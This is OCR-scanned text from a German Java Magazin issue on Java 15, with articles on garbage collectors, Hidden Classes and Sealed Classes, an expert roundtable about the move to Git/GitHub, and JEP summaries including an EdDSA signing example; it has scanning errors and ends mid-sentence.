Ebenfalls entfallen werden die JVM-Portierungen fiir
Solaris/SPARC. Diese sind noch ein Uberbleibsel aus
den Sun-Zeiten. Frithere Java-Versionen (bis einschlief3-
lich JDK 14) bleiben auf den alten Systemen weiterhin
lauffahig. Falls der Bedarf besteht und sich interessierte

Listing 4

List<Merchant> findTopMerchants(List<Merchant> merchants, int month) {
// Local record
record MerchantSales(Merchant merchant, double sales) {}

return merchants.stream()
.map(merchant -> new MerchantSales(merchant, :
computeSales(merchant, month)))
.sorted((m1, m2) -> Double.compare(m2.sales(), m1.sales())) :
.map(MerchantSales::merchant)
.collect(toList());
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Entwickler finden, konnen diese Varianten auch wieder-
belebt werden. Im Moment mochte Oracle die freige-
wordenen Kapazitdten aber nutzen, um andere Features
voranzutreiben.

Bei den Garbage Collectors hat sich in den vergan-
genen Jahren ebenfalls viel getan. Die automatische
Speicherbereinigung war in den Anfangsjahren von
Java eines der Killerargumente, mit dem man sich von
der Konkurrenz abgehoben hat. Die Wahl des Garbage-
Collector-Algorithmus hat natiirlich direkt Einfluss auf
die Performance einer Anwendung. Es gab schon immer
verschiedene Implementierungen, aus denen man wih-
len konnte und die je nach Szenario mehr oder weniger
gut geeignet waren. Durch die Weiter- und Neuentwick-
lung von Garbage Collectors konnte bereits in den letz-
ten Jahren immer wieder an der Performanceschraube
gedreht werden. So wurden beim Umstieg von Java 8
auf 11 von vielen Entwicklern signifikante Perfor-
manceverbesserungen gemessen, ohne eine Zeile Code
geandert zu haben. Der Hintergrund ist der Wechsel des
Standard-Garbage-Collectors zum G1.

Mit dem Open]DK 15 hat sich nun der Status des
ZGC von Experimental- zum Production- Feature gedn-
dert (JEP 377). Der ZGC wird als skalierbarer Garbage
Collector mit niedriger Latenz angepriesen. Er bringt
eine Reduzierung der GC-Pausenzeiten mit sich und
kann mit beliebig groflen Heap-Speichern umgehen (von
wenigen Megabytes bis hin zu Terabytes). Ebenfalls in
den Production-Status tiberfihrt wurde der in Java 12
erstmals eingefiihrte und urspriinglich bei Red Hat ent-
wickelte Shenandoah GC (JEP 379). Weder ZGC noch
Shenandoah sollen tibrigens den aktuellen Standard-GC
(G1) ersetzen. Sie bieten einfach eine Alternative, die bei
bestimmten Szenarien performanter sein kann.

Ein ,,Hidden Feature“, das aber eher fiir Bibliothek-
und Framework-Entwickler interessant ist, wurde mit
dem JEP 371 hinzugefiigt. Ziel der sogenannten Hidden
Classes ist es, dynamisch zur Laufzeit erstellte Klassen
leichtgewichtiger und sicherer zu machen. Bei den bis-
herigen Mechanismen (ClassLoader::defineClass und
Lookup::defineClass) gab es keinen Unterschied, ob
der Bytecode der Klasse dynamisch zur Laufzeit oder
statisch beim Kompilieren entstanden ist. Damit waren
dynamisch erzeugte Klassen sichtbarer als notwendig.

Listing 5

String html = "<html>// Ohne Text // Mit Text Blocks

// Blocks String html=""

\n" + <html>
" <body>\n" + <body> :
! <p>Hello, Escapes</ <p>Hello, Text Blocks</p>

p>\n" + </body> '

" </body>\n" + </html>"";
"</html>\n";
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Hidden Classes konnen weder von anderen Klassen
eingesehen oder verwendet werden noch sind sie tiber
Reflection auffindbar. Als ein Anwendungsfall konnte
java.lang.reflect. Proxy versteckte Klassen definieren, die
dann als Proxy-Klassen fungieren. Zu beachten ist bei
Hidden Classes aber das Problem, dass sie derzeit (noch)
nicht in Stacktraces auftauchen. Das erschwert natiirlich
eine notwendige Fehlersuche.

Fazit

Java 15 macht wieder einen grundsoliden Eindruck.
Oracle hat das nun nicht mehr ganz so neue Release-
management weiterhin gut im Griff und konnte erneut
piinktlich liefern. Im Mirz 2021 steht mit Java 16 schon
das nichste Major-(Zwischen-)Release auf dem Plan,
bevor dann im Herbst mit der Version 17 erneut eine
Version mit Long Term Support folgt. Fiir das Open-
JDK 16 [7] wurden, Stand jetzt, bereits fiinf JEPs ein-
geplant und drei weitere vorgeschlagen. Unter anderem
geht es um den sich bereits in Arbeit befindlichen Wech-
sel bei der Versionsverwaltung (Umstieg von Mercurial
auf Git) und den Umzug der OpenJDK-Quellen nach
GitHub. Bis zum Feature-Freeze im Dezember werden
noch weitere API-Erweiterungen und neue Features fol-
gen. Wir dirfen gespannt sein, was uns erwarten wird.
Geniigend Stoff liefern die Inkubatorprojekte Loom,
Amber, Valhalla und andere auf jeden Fall.

Auch mit 25 Jahren gehort die Programmiersprache
Java noch ldngst nicht zum alten Eisen. Im Ranking des
Tiobe-Index [8] ist Java im September 2020 zwar nur
noch auf dem zweiten Platz. Aber das dndert sich re-
gelmiflig, und der Langzeittrend zeigt, dass Java in den
letzten 20 Jahren immer unter den Top 3 gelandet ist. Im
Moment deutet nichts darauf hin, dass sich daran in den
nédchsten Jahren etwas dndern konnte.

Falk Sippach ist bei der embarc Software Consulting GmbH als
Softwarearchitekt, Berater und Trainer stets auf der Suche nach
dem Funken Leidenschaft, den er bei seinen Teilnehmern, Kunden
und Kollegen entfachen kann. Bereits seit Giber 15 Jahren unter-
stiitzt er in meist agilen Softwareentwicklungsprojekten im Java-
Umfeld. Als aktiver Bestandteil der Community (Mitorganisator der JUG
Darmstadt) teilt er zudem sein Wissen germn in Artikeln, Blogbeitragen, sowie
bei Vortragen auf Konferenzen oder User-Group-Treffen und unterstiitzt bei der
Organisation diverser Fachveranstaltungen.

u @sippsack
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Expertencheck

Sieben Java-Expert*innen gehen Java 15, Java 16 und Projekt Skara auf den

Grund

Die glorreichen 7

Java 15 ist veroffentlicht worden: punktlich, sorgfaltig getestet und vollgepackt mit neuen
Features. Wir haben aus diesem Anlass mit sieben Java-Expert*innen gesprochen, die ihren
Eindruck vom aktuellen Release mit uns teilen. Natlrlich haben wir Gber die allgemeinen
Lieblingsfeatures unserer Java-Profis gesprochen, aber auch tber ihre Winsche fur Java 16.
AuBerdem gaben sie ihre Meinung zum aktuellen Umzug auf Git bzw. GitHub zum Besten.

von Dominik Mohilo

Java Magazin: Hallo ihr Lieben und danke fiirs Mitma-
chen! Gehen wir gleich in medias res: Was ist euer
Lieblingsfeature in Java 15?

Thomas Darimont: Ich finde das Feature Hidden Clas-
ses ziemlich spannend. Als nutzliches Werkzeug fiir
Bibliothek- und Framework-Entwickler helfen Hidden
Classes dabei, zur Laufzeit erzeugte Klassen leichtge-
wichtiger zu machen. Das kann beispielsweise fiir dy-
namische Proxies, dynamische Ausdriicke oder Scripts
sehr niitzlich sein. Ein Verwendungsbeispiel fiir Dyna-
mic Proxies mit Hidden Classes bietet Remi Forax mit
seinem hidden_proxy [1]. Zu beachten ist bei Hidden
Classes noch das Problem, dass diese Klassen derzeit
nicht in StackTraces auftauchen, was die Fehlersuche
erschweren kann. Siehe auch den Eintrag auf der core-
libs-dev-Mailingliste [2].

Johannes Unterstein: Definitiv die Promotion vom
Low Latency Z Garbage Collector zur Produktionsreife
(JEP 377 [3]). Die implementierten Features versprechen
fiir den Betrieb enorme Vorteile. Sei es nun die Freigabe
von ungenutztem Speicher, der groflere mogliche Heap
(16 TB) oder die schnelle Garbage Collection, alle sind
sehr willkommene Verbesserungen, tiber die sich jeder
Betrieb freuen wird.

Hendrik Ebbers: Auch wenn es erst einmal nur als
Preview in JDK 15 enthalten ist, finde ich die Sealed
Classes sehr wichtig. Was sich fiir Anwendungsentwick-
ler vielleicht initial wie ein unnotiges Feature anfiihlt,
wird sicherlich fir Framework-Entwickler interessante
Konzepte ermoglichen, um Restriktionen in einem API
zu definieren. Dariiber hinaus sind Sealed Classes ein

wichtiger Baustein, um Pattern Matching in Java zu er-
moglichen. Und wir sollten auch nicht vergessen, dass
JDK 15 das Update auf den Unicode-13-Standard bein-
haltet und somit 50 neue Emojis unterstiitzt.

Michael Vitz: Fir mich zeigt sich besonders durch
den Einzug von Textblocken und den jeweils zweiten
Previewversionen von Records und instanceof Pattern
Matching, dass der begonnene Weg, sinnvolle neue Fea-
tures in Ruhe in die Sprache einzubauen, konsequent
weiterverfolgt wird. Abseits davon ist die Ergidnzung
von String (bzw. genaugenommen CharSequence) um
die isEmpty-Methode hilfreich.

Tim Zoller: Im aktuellen Release ist fiir mich zu viel
Spannendes, um mir ein Highlight rauspicken zu kon-
nen. Dass Text Blocks kein Previewfeature mehr sind,
wird meinen Entwickleralltag am ehesten vereinfachen.
Dass der Shenandoah Garbage Collector nicht mehr
experimentell, sondern ein vollwertiges Feature ist, ist
ebenfalls ein grofSer Schritt. Bei den Previewfeatures fin-
de ich die Sealed Classes sehr vielversprechend. Da bin
ich sehr auf das Zusammenspiel von Records, Sealed
Classes und Pattern Matching in der Zukunft gespannt.

Sandra Parsick: Mein Highlight in Java 15 ist das Fea-
ture Text Blocks und dass Records und Pattern Mat-
ching weiter vorangetrieben wurden.

Henning Schwentner: Ich freue mich tiber die (weite-
ren) Previews fiir Records und Sealed Classes, weil sie
Schritte in Richtung Value Types und Pattern Matching
sind. Als Fan von DDD nervt mich oft der Boilerplate-
Code, den man schreiben muss, um Value Objects zu
implementieren. Das wird mit richtigen Value Types
einfacher — auch jetzt schon an einigen Stellen mit Re-
cords.
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JAXenter: Java hat den Umzug auf Git als Versionskon-
trollsystem (VCS) und GitHub als Hostingplattform voll-
zogen. Eure Meinung dazu?

Darimont: Ich denke, die Umstellung auf Git und der
Umzug nach GitHub wird zu einer héheren Beteiligung
der Community an der Weiterentwicklung von Java
fithren, da Git vielen Entwicklern gelaufiger ist als Mer-
curial und GitHub die Codebase des Java-Okosystems
leichter zuginglicher macht.

Unterstein: Ja mei...ist 2020, oder?

Ebbers: Das ist meiner Meinung nach ein sehr wichti-
ger Schritt. Wenn man einfach mal in das JDK Reposito-
ry schaut, kann man direkt PRs fiirr das OpenJDK sehen
und jeder GitHub-User kann hier sowohl die PRs als
auch die Anderungen kommentieren. Aber auch wenn
das ein wichtiger Schritt war, ist der Gesamtprozess
der Open]DK-Entwicklung noch immer an vielen Stel-
len stark verbesserungswiirdig. Es kann einfach nicht
sein, dass man Hacks kennen muss oder gute Kontak-
te braucht, um ein Issue im Open]DK Issue Tracker zu
kommentieren. Hier muss auf jeden Fall noch einiges
passieren, um das OpenJDK zuginglicher zu machen.

Vitz: Da ich Java bzw. das JDK primir benutze, dn-
dert sich fir mich an dieser Stelle nicht viel. Wenn ich
dann doch mal durch die Source stobern mochte, dann
sagt mir personlich das GitHub UI mehr zu als das vor-
herige.

Zoller: Es ist immer zu begriifSen, wenn Open-Source-
Projekte auf eine Infrastruktur und eine Plattform set-
zen, die so vielen Menschen zugénglich ist wie moglich.
Ob der Code jetzt bei GitHub, GitLab oder Bitbucket
liegt, ist da zweitranging, solange er fiir alle zuganglich
ist und die Prozesse nachvollziehbar sind.

Parsick: Ich denke, die Umstellung auf Git und der
Umzug auf GitHub konnten helfen, die Mitarbeit zu
vereinfachen. Ob es gut ist, komplett auf GitHub als
Infrastruktur zu setzen, wird sich zeigen. Da finde ich
den Ansatz von der Apache Foundation besser: eigene
Infrastruktur und nur Mirrors auf GitHub.

Schwentner: Mercurial ist auch ein michtiges Ver-
sionsverwaltungssystem, aber Git hat sich einfach
durchgesetzt. GitHub ist inzwischen der Standard fiir
Open-Source-Projekte. Der Umzug dorthin macht es
dem Entwickler drauflen im Feld einfacher, auf die
Sourcen des JDK zuzugreifen, weil er sein gewohntes
Tooling nutzen kann. Und das begriifSe ich, weil es die
Wahrscheinlichkeit steigert, dass Pull Requests von vie-
len Menschen aus der Community gestellt werden.

JAXenter: Java 16 ist bereits in der Entwicklung - was
wirdest du dir fiir die kommende Version wiinschen?

Expertencheck | Titelthema

Darimont: Ich wiirde etwas mehr Sprachkomfort im
Sinne von pragnanteren Methodendefinitionen (Concise
Method Bodies [4]) begriufSen.

Unterstein: Verbesserungen im Speichermanagement
oder andere betriebserleichternde Features sind immer
willkommen, aber liuft eigentlich.

Ebbers: Fiir Java 16 wird es wichtig sein, dass alle offe-
nen Baustellen und Previews zusammenlaufen und stabil
werden. Mit Java 17 wird in einem Jahr das nichste Long-
Term-Support-Release von Java erscheinen. Wenn man
sich einmal anschaut, was zwischen Java 11 und Java 15
passiert ist, kann man schon viele sehr coole Neuerung
entdecken: Records, Text Blocks, Switch Expressions und
Pattern Matching sind sicherlich einige der Kernpunkte,
mit denen sich Entwickler bei einem Umstieg von Java 11
auf 17 auseinandersetzen miissen. Da einige der genann-
ten Punkte aktuell noch als Previewfeatures vorliegen,
wird sicherlich mit Hochdruck daran gearbeitet, diese bis
zum LTS als finalen Bestandteil ins Open]JDK zu bekom-
men. Fur mich ist das eigentlich das Wichtigste in Java 16.

Vitz: Primir wiinsche ich mir, dass der begonnene Weg
konsequent fortgesetzt wird. Vor allem die tibernichste
Version, Java 17, wird ja wieder ein LTS-Release werden,
auf das viele upgraden wollen. Hier wire es schon, wenn
moglichst viele der Previewfeatures final vorligen.

Zoller: Es ist momentan noch schwer zu sagen, was
realistisch ist. Unter den moglichen Kandidaten ist fur
mich der JEP 302 Lambda Leftovers am interessantes-
ten, weil er die Nutzung von Lambdas abrundet und
Lambdas michtiger macht. Dariiber hinaus wiirde
mich JEP 198 Light-Weight JSON API interessieren,
der JSON Processing als schlankes Feature im JDK um-
setzen mochte. JEP 301 Enhanced Enums konnte auch
interessant werden, auch wenn mir bislang dafiir in mei-
nem Alltag die Anwendungsfille fehlen.

Parsick: Ich finde es toll, wenn die Features Records
und Pattern Matching zum Standard wiirden.

Schwentner: Wie schon oben angeklungen ist, wiin-
sche ich mir Value Types fiir Java. Deshalb driicke ich
Project Valhalla die Daumen und hoffe, dass es mit ei-
nem der niachsten Releases zur Produktionsreife gelangt.

Links & Literatur

[1] https://github.com/forax/hidden_proxy
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[4] https://openjdk.java.net/jeps/8209434

TIM ZOLLER

IT Consultant bei der ilum:e
informatik AG in Mainz &
Mitgriinder der JUG Mainz

JOHANNES UNTERSTEIN

Software Engineer bei
Neo4j & Organisator der
JUG Kassel

MICHAEL VITZ

Senior Consultant bei INNOQ & mehrjéhrige
Erfahrung in der Entwicklung, Wartung und im
Betrieb von Anwendungen auf der JYM

33



Titelthema

34

java

Sealed Classes

JEP 360: Sealed Classes (Preview)

Kein Buch mit sieben

Siegeln

Das Vorgehen hat sich bewahrt — auch im JDK 15 hat mit Sealed Classes ein neues
Sprachkonstrukt vorerst als Preview-Feature Einzug gehalten. Es gibt Entwicklern Kon-
trolle darUber, welche Klassen von einem bestimmten Interface oder einer Klasse
erben dirfen. Wem das neue Sprachkonstrukt nutzt, wann man es einsetzen kann und
was man jetzt und in Zukunft alles damit anstellen kdnnen wird, wird in diesem Artikel

zusammengefasst.

von Tim Zoller

Java-Entwicklern stand bislang eine Vielzahl von Werk-
zeugen zur Verfligung, mit denen sie festlegen konnten,
in welcher Art und Weise von Klassen vererbt werden
kann. Ist eine Klasse package-private, kann sie nur im
selben Paket referenziert werden, simtliche Unterklas-
sen miissen sich also in diesem befinden. Damit entfillt
aber die Moglichkeit, die Oberklasse selbst aufserhalb
dieses Pakets zu nutzen. Mit dem final-Modifier kann
das Erben von einer Klasse verboten werden, dies verhin-
dert aber nicht, neue Implementierungen einer gemein-
samen Oberklasse zu entwerfen. Mochte man hingegen
eine gemeinsame Oberklasse oder ein Interface etwa fiir
APIs verwendbar machen, jedoch verhindern, dass neue
Kindklassen implementiert und verwendet werden, exis-
tierte bislang lediglich die Moglichkeit, den Konstruktor
der Oberklasse package-private zu setzen und samtliche
Unterklassen im selben Paket zu behalten. Genau hier
setzen Sealed Classes an. Durch den neu eingefiihrten
Modifier sealed und die Direktive permits wird bereits
am oberen Ende der Vererbungshierarchie festgelegt,
welche weiteren Implementierungen einer Klasse exis-
tieren diirfen. In Listing 1 definieren wir am Interface
Payment, dass es nur durch die Klassen InvoicePayment
und UpfrontPayment implementiert werden darf.

Auf gleiche Art und Weise konnte statt eines Interface
auch eine Klasse oder eine abstrakte Klasse verwendet
werden. Ansonsten kann mit der Vererbung verfahren
werden wie gewohnt — vom Interface kann eine normale
Klasse, ein Record (Preview-Feature), eine Enum oder
ein weiteres Interface erben. Im Beispiel sind Invoice-
Payment als final und UpfrontPayment als non-sealed
deklariert. Das liegt daran, dass fiir Klassen, die von
einer Sealed Class erben, die Entscheidung getroffen

werden muss, wie die weitere Vererbungshierarchie
aussehen soll. Sie konnen entweder final sein und nicht
weitervererbt werden, ebenfalls sealed sein und einge-
schrankt Vererbung zulassen, oder sie sind non-sealed —
von ihnen diirfen dann beliebig weitere Unterklassen
gebildet werden. Ein Standardverhalten gibt es nicht,
die Entscheidung muss bei Erstellung der Klasse expli-
zit getroffen werden. Ausgenommen sind Records und
Enums, die implizit final sind und generell nicht weiter-
vererbt werden konnen (Listing 2). Die gesamte Syntax-
beschreibung ldsst sich in Listing 3 nachvollziehen.

Nutzen in JDK 15

Das bereits vorgestellte Beispiel in Listing 2 soll uns als
Grundlage dienen, den Nutzen mit aktivierten Preview-
Features im aktuellen JDK zu verstehen. Dabei betrachten
wir die kiirzere Schreibweise mit Records. Nehmen wir
an, wir stellen ein Java-Zahlungs-API bereit. Kunden, die
es nutzen mochten, binden einfach eine Java-Bibliothek
mit der notigen Schnittstelle ein, schon kénnen sie sie in
ihrer Software benutzen. Die Klasse PaymentProcessor
(Listing 4) nimmt fiir die Methode processPayment eine
Instanz von Payment entgegen und verarbeitet sie je nach
Typ. Mit Sealed Classes ist nun sichergestellt, dass es sich
bei der tibergebenen Instanz von Payment nur um ein Up-
frontPayment oder ein InvoicePayment handeln kann —
eine andere Klasse, die von Payment erbt, die etwa von
einem User erzeugt wurde, kann nicht existieren.

Der Entwickler des API kann sich in diesem Codebei-
spiel sicher sein, alle Fille behandelt zu haben, und muss
seinen Code weniger defensiv schreiben. Leider ist der
Compiler aber noch nicht so clever wie unser Entwick-
ler, wie man an der Methode buildPaymentDescription
siecht. Obwohl in den beiden if-Statements simtliche
Moglichkeiten erschopft wurden, sind wir gezwungen,

www.]AXenter.de



einen else-Zweig mit einer Sonderbehandlung einzufiih-
ren — die niemals ausgefiihrt werden wird.

Neben dem offensichtlichen Nutzen des neuen Sprach-
features gibt es auch kritische Stimmen, die darin eine
Verletzung von OOP-Prinzipien sehen. Eine Oberklasse,
die samtliche Klassen, die von ihr erben, kennen muss —
wie passt das zu Kapselung und einer objektorientierten
Sprache? Hierbei muss die Frage gestellt werden: Warum
abstrahieren und kapseln wir in der Softwareentwick-
lung? Meist, um Flexibilitdt zu erlangen. Und um uns
an unserem Beispiel zu orientieren: An vielen Stellen im
Code reicht es, zu wissen, dass wir eine Instanz von Pay-
ment erhalten oder in ein API hineingeben. Die genaue
Klasse zu kennen, ist nicht notwendig, stattdessen werden
die gleichen Eigenschaften aller Implementierungen der
Klasse gleichbehandelt. Anstatt fiir jede Unterklasse ei-
genen Code zu schreiben, konnen wir den gleichen Code
wiederverwenden. Wiirde Payment nichts von seinen
Implementierungen wissen miissen, konnten wir neue

Listing 1

public sealed interface Payment permits InvoicePayment, UpfrontPayment {
BigDecimal getAmount(); :

}

public class InvoicePayment implements Payment {

private final BigDecimal amount;
private final LocalDate toPayUntil;

public final InvoicePayment(BigDecimal amount, LocalDate toPayUntil) {
this.amount = amount;
this.toPayUntil = toPayUntil;

}

public BigDecimal getAmount() {
return this.amount;

}

public LocalDate getToPayUntil() {
return this.toPayUntil;

}

}

public non-sealed class UpfrontPayment implements Payment {
private final BigDecimal amount;

public UpfrontPayment(BigDecimal amount) {
this.amount = amount;

}

public BigDecimal getAmount() {
return this.amount;

Sealed Classes

Unterklassen zu unserer Applikation hinzufiigen, ohne
den bisherigen Code anpassen zu miissen. Theoretisch
konnen wir sogar neue Unterklassen von Payment zur

Listing 2

public sealed interface Payment permits InvoicePayment, UpfrontPayment {
BigDecimal amount();

}

public record InvoicePayment(LocalDate toBePayedUntil, BigDecimal amount)

implements Payment {

}

public record UpfrontPayment(BigDecimal amount) implements Payment {

}

Listing 3

NormalClassDeclaration:
{ClassModifier} class Typeldentifier [TypeParameters]
[Superclass] [Superinterfaces] [PermittedSubclasses] ClassBody

ClassModifier:
(one of)
Annotation public protected private
abstract static sealed final non-sealed strictfp

PermittedSubclasses:
permits ClassTypeList

ClassTypeList:
ClassType {, ClassType}

Listing 4

public class PaymentProcessor {

public void processPayment(Payment payment) {
if(payment instanceof UpfrontPayment c) {
continueProcessIfPaymentArrives(...);
} else if (payment instanceof InvoicePayment i) {
continueProcessImmediately(...);
}
}

public Strinbg buildPaymentDescription(Payment payment) {
if(payment instanceof UpfrontPayment c) {
return String.format("This is an Upfront Payment of %s €", c.amount());"
} else if (payment instanceof InvoicePayment i) {
return String.format("This is an Invoice Payment of %s €, due on %s",

} else {
throw new IllegalStateException("Payment Type not expected: " +

i.amount(), i.toBePayedUntil());

payment.getClass());

Titelthema
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Laufzeit laden und damit eine Klasse verarbeiten, die zur
Zeit der Kompilierung noch gar nicht bekannt war. Nut-
zen wir hingegen Sealed Classes, tun wir das, um unser
Dominenmodell genauer zu beschreiben. Wir mochten
darauf hinweisen, dass die Anzahl der Unterklassen fest
definiert ist und es hier keine Dynamik geben darf. Un-
ser Code kann auf Basis dieser Annahme Businesslogik
implementieren. Kommt eine neue Unterklasse zu den
existierenden hinzu, wird es einen Kompilierfehler geben.
Dieser ist erwiinscht, denn ein essenzieller Bestandteil
des Dominenmodells hat sich gedndert, diesen Umstand
mochten wir an allen Stellen, die es betrifft, mitbekom-
men. Gleichzeitig biifSen wir die Fahigkeit zur Abstrakti-
on durch diese neue Kopplung nicht ein.

Ein kurzer Abstecher in algebraische Datentypen

Der Text zum JEP 360: Sealed Classes [1] erwahnt ,,Al-
gebraic Data Types“. Diese niher zu beleuchten, hilft zu
verstehen, warum die Einfithrung von Sealed Classes ei-
nen groflen Schritt hin zu funktionaler Programmierung
in Java darstellt. Algebraische Datentypen [2] setzen sich
in der Regel aus Produkttypen und Summentypen zu-
sammen und sind ein wichtiger Bestandteil von statisch
typisierten funktionalen Sprachen wie etwa Haskell oder
Scala. Produkttypen kennen wir in Java schon zur Gentige.
Sie bezeichnen Typen, die sich aus anderen Typen zusam-
mensetzen, also beispielsweise Records oder Klassen. Der
Typ Wiirfel beispielsweise setzt sich aus den Typen Hébe,
Breite und Tiefe zusammen. Produkttypen beschreiben
also ein ,,Und“, sozusagen eine Komposition aus anderen
Typen. Summentypen hingegen beschreiben ein ,,Oder*.
Der bekannteste Summentyp in Java ist Boolean, der
entweder frue oder false ist. Wahrend sich mit Produkt-
typen die Daten unseres Domidnenmodells modellieren
lassen, eignen sich Summentypen dazu, Verhalten zu be-
schreiben. Das Dominenmodell fiir das oben erwihnte
Payment-Beispiel zeichnet sich durch seine Robustheit
aus: Wenn wir davon ausgehen, dass es einen Produkttyp
Checkout gibt, der samtliche Kundendaten wie Adresse,
Kontodaten und die gekaufte Ware beinhaltet, ist das
Payment ein Teil von Checkout. Je nachdem, welche Art
von Payment der Kunde auswihlt, benétigen wir andere
Daten im Konstruktor; bei einem Rechnungskauf geben
wir ein Zahlungsziel vor. Die Klasse PaymentProcessor
weifs fur jede Zahlungsmethode, wie mit ihr zu verfahren
ist, und kann durch Pattern Matching [3] leicht auf die

Listing 5

// Noch kein giiltiger Code!
public String processPayment(Payment payment) {
return switch(payment) {

case UpfrontPayment u -> String. format("This is an Upfront Payment of %s €', c.amount(); :

case InvoicePayment i -> String.format("This is an Invoice Payment of %s €,
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due on %s", i.amount(), i.toBePayedUntil());

javamagazin 1212020

typspezifischen Attribute zugreifen. Erweitern wir die Ap-
plikation um zusitzliche Zahlungsmethoden, geschieht
das nun ausschliefSlich durch Komposition: Beispielsweise
konnten wir eine neue Klasse OnlinePayment einfihren,
die zusitzlich im Konstruktor noch die E-Mail-Adresse
benotigt, mit der der Kunde beim Zahlungsdienstleister
registriert ist. Das Attribut payment im Typ Checkout
konnte dann drei statt zwei Zustinde annehmen.

Ausblick auf die weitere Roadmap

Die bisher aufgefithrten Anwendungsfille sind ohne
Frage hilfreich, der grofSte Nutzen von Sealed Classes
liegt jedoch in der Zukunft und wird sich dann offenba-
ren, wenn sie von Pattern Matching unterstitzt werden,
beispielsweise in einem Switch Statement. Der Compi-
ler kann dann, dhnlich wie momentan schon fiur Enu-
merations, Uberpriifen, ob samtliche moglichen Fille
erschopfend behandelt wurden. Ist das nicht der Fall,
wiirde er eine Default Clause einfordern. Das ist mog-
lich, da durch das Versiegeln der Klasse auch verhindert
wird, dass eine neue Implementierung der Oberklasse
dynamisch zur Laufzeit geladen wird. Zusitzlich wird
der Compiler den Entwickler mit einem Fehler darauf
hinweisen, wenn eine neue Implementierung zu den
existierenden hinzugefiigt, jedoch im Pattern Matching
nicht berticksichtigt wird. Das sorgt fir robusteren
Code und weniger Boilerplate-Code (Listing 5).

Fazit

Natiirlich sind die meisten der in diesem Artikel vorge-
stellten Konzepte auch mit den vorigen Java-Versionen
umsetzbar. Dass Komposition ein Werkzeug ist, um
komplexe Sachverhalte robust abzubilden, ist schon
lange kein Geheimnis mehr. Die Effekte der im Vorfeld
beschriebenen algebraischen Datentypen sollten vielen
Java-Entwicklern nicht neu vorkommen. Sealed Classes
stellen aber einen groflen Schritt in Richtung einer Zu-
kunft dar, in der der Compiler uns beim Komponieren
solcher Domidnenmodelle unterstiitzt — zum einen mit
Pattern Matching, das weniger defensiv geschriebenen
und eleganteren Code ermoglicht, zum anderen aber
auch mit der Unterstiitzung durch den Compiler, wenn
eingefithrte Klassen unsere bestehende Geschiftslogik
zerstoren wiirden. Gemeinsam mit Records und Pattern
Matching stellen Sealed Classes also sicher, dass Kon-
zepte aus der funktionalen Programmierung sich in Java
immer idiomatischer umsetzen lassen.

Tim Zéller ist Senior IT Berater bei ilum:e informatik ag in Mainz. Er
ist Mitgriinder der JUG Mainz und beschaftigt sich seit 12 Jahren
beruflich mit Java.

Links & Literatur

[1] https://openjdk.java.net/jeps/360

[2] https://en.wikipedia.org/wiki/Algebraic_data_type
[3] https://openjdk.java.net/jeps/375
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Diese JEPs sind Teil des JDKs

Java 15

JEP 339 - Edwards-curve Digital Signature Algorithm
(EdDSA)
Im Jahr 2007 wurden von Harold Edwards, seines Zei-
chens amerikanischer Mathematiker, Mathematikhis-
toriker und bis zu seinem Ruhestand Professor an der
New York University, die sogenannten Edwards-Kur-
ven vorgestellt. Diese elliptischen Kurven werden im
Bereich der Elliptic Curve Cryptography eingesetzt. Der
EdDSA ist nun ein modernes und performanteres Sig-
naturschema, das deutliche Vorteile gegentiber dem im
JDK implementierten Schema haben soll. Im RFC 8032
sind samtliche Details zu dem Schema enthalten, das al-
lerdings nicht das herkommliche ECDSA (Elliptic Curve
Digital Signature Algorithm) ersetzt.

Die neuen Services Signature, KeyFactory und
KeyPairGenerator wurden fir die Unterstiitzung von

L

JEP 360 - Sealed Classes (Preview)

Aus Projekt Amber kommen Sealed Classes als Preview
Feature ins JDK. ,Versiegelte Klassen®, also Sealed
Classes, haben eine stark eingeschrinkte Subclassing-
Fahigkeit, die in der entsprechenden Klassendeklaration
definiert wird. Zunichst wird der Deklaration der Mo-
difikator sealed hinzugefiigt, um das Feature zu aktivie-
ren. Anschliefend wird via permits-Klausel spezifiziert,
welche Klassen die versiegelte Klasse erweitern diirfen:

package com.example.geometry;

public sealed class Shape
permits Circle, Rectangle, Square {...}

javamagazin 1212020

EdDSA dem SunEC-Provider hinzugefiigt; neue Klassen
und Interfaces sind entsprechend fiir die Reprisentati-
on im API vorhanden. Wiederverwendet wird hingegen
die Klasse NamedParameterSpec, die einst fiir XDH
(JEP 324) entwickelt wurde, um EdDSA-Varianten
und Kurvendominenparameter zu beschreiben. Fir
Edwards-Kurvenpunkte, EdDSA-Schliissel und Signa-
turparameter wurden neue Klassen und Interfaces ent-
wickelt. Fur die Nutzung des API gibt JEP 339 das in
Listing 1 gezeigte Beispiel.

Listing 1

// example: generate a key pair and sign

KeyPairGenerator kpg = KeyPairGenerator.getInstance("Ed25519");
KeyPair kp = kpg.generateKeyPair();

// algorithm is pure Ed25519

Signature sig = Signature.getInstance("Ed25519");
sig.initSign(kp.getPrivate());

sig.update(msg);

byte[] s = sig.sign();

// example: use KeyFactory to contruct a public key

KeyFactory kf = KeyFactory.getInstance("EdDSA");

boolean x0dd = ...

BigIntegery = ... :

NamedParameterSpec paramSpec = new NamedParameterSpec("Ed25519");

EdECPublicKeySpec pubSpec = new EECPublicKeySpec(paramSpec,
new EdPoint(x0dd, y));

PublicKey pubKey = kf.generatePublic(pubSpec); '

Das funktioniert iibrigens auch mit abstrakten Klassen
oder Interfaces. Besonders gut sollen die Sealed Classes
mit den ebenfalls in JDK 15

als ,,Second Preview* ent-

haltenen Records zusam-

menspielen.

7
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JEP 371 - Hidden Classes y
Mit JEP 371 werden ,,versteckte Klassen“ im '
JDK verfiigbar, die die Arbeit mit Frameworks
verbessern sollen. In Java 15 koénnen so dyna-
misch erstellte Klassen stellenweise durch ver-
steckte Klassen ersetzt werden.

Java-Entwickler, die mit Frameworks arbeiten, kennen das: Manche Klassen,
die zur Laufzeit dynamisch erstellt werden, sind deutlich sichtbarer oder langle-
biger, als es eigentlich notig ist. Das liegt daran, dass die APIs zum Erstellen von
Klassen, ClassLoader::defineClass und Lookup::defineClass, keinen Unterschied
darin machen, ob der Bytecode der Klasse zur Laufzeit dynamisch oder statisch
beim Kompilieren erstellt wurde. Da die Klasse per se als ,,sichtbar® definiert ist,
wird sie entsprechend auch genutzt.

Durch ,,versteckte“ Klassen werden einige Use Cases abgedeckt, die nicht so
einfach von anderen Klassen aufgerufen werden konnen. JEP 371 nennt einige
solcher moglichen Einsatzgebiete beispielhaft: So kann etwa java.lang.reflect.
Proxy versteckte Klassen definieren, die als Proxy-Klassen agieren. Diese wer-
den — wie der Name bereits sagt — Proxy-Schnittstellen implementieren. Auch
in Verbindung mit java.lang.invoke-StringConcatFactory kann man versteckte
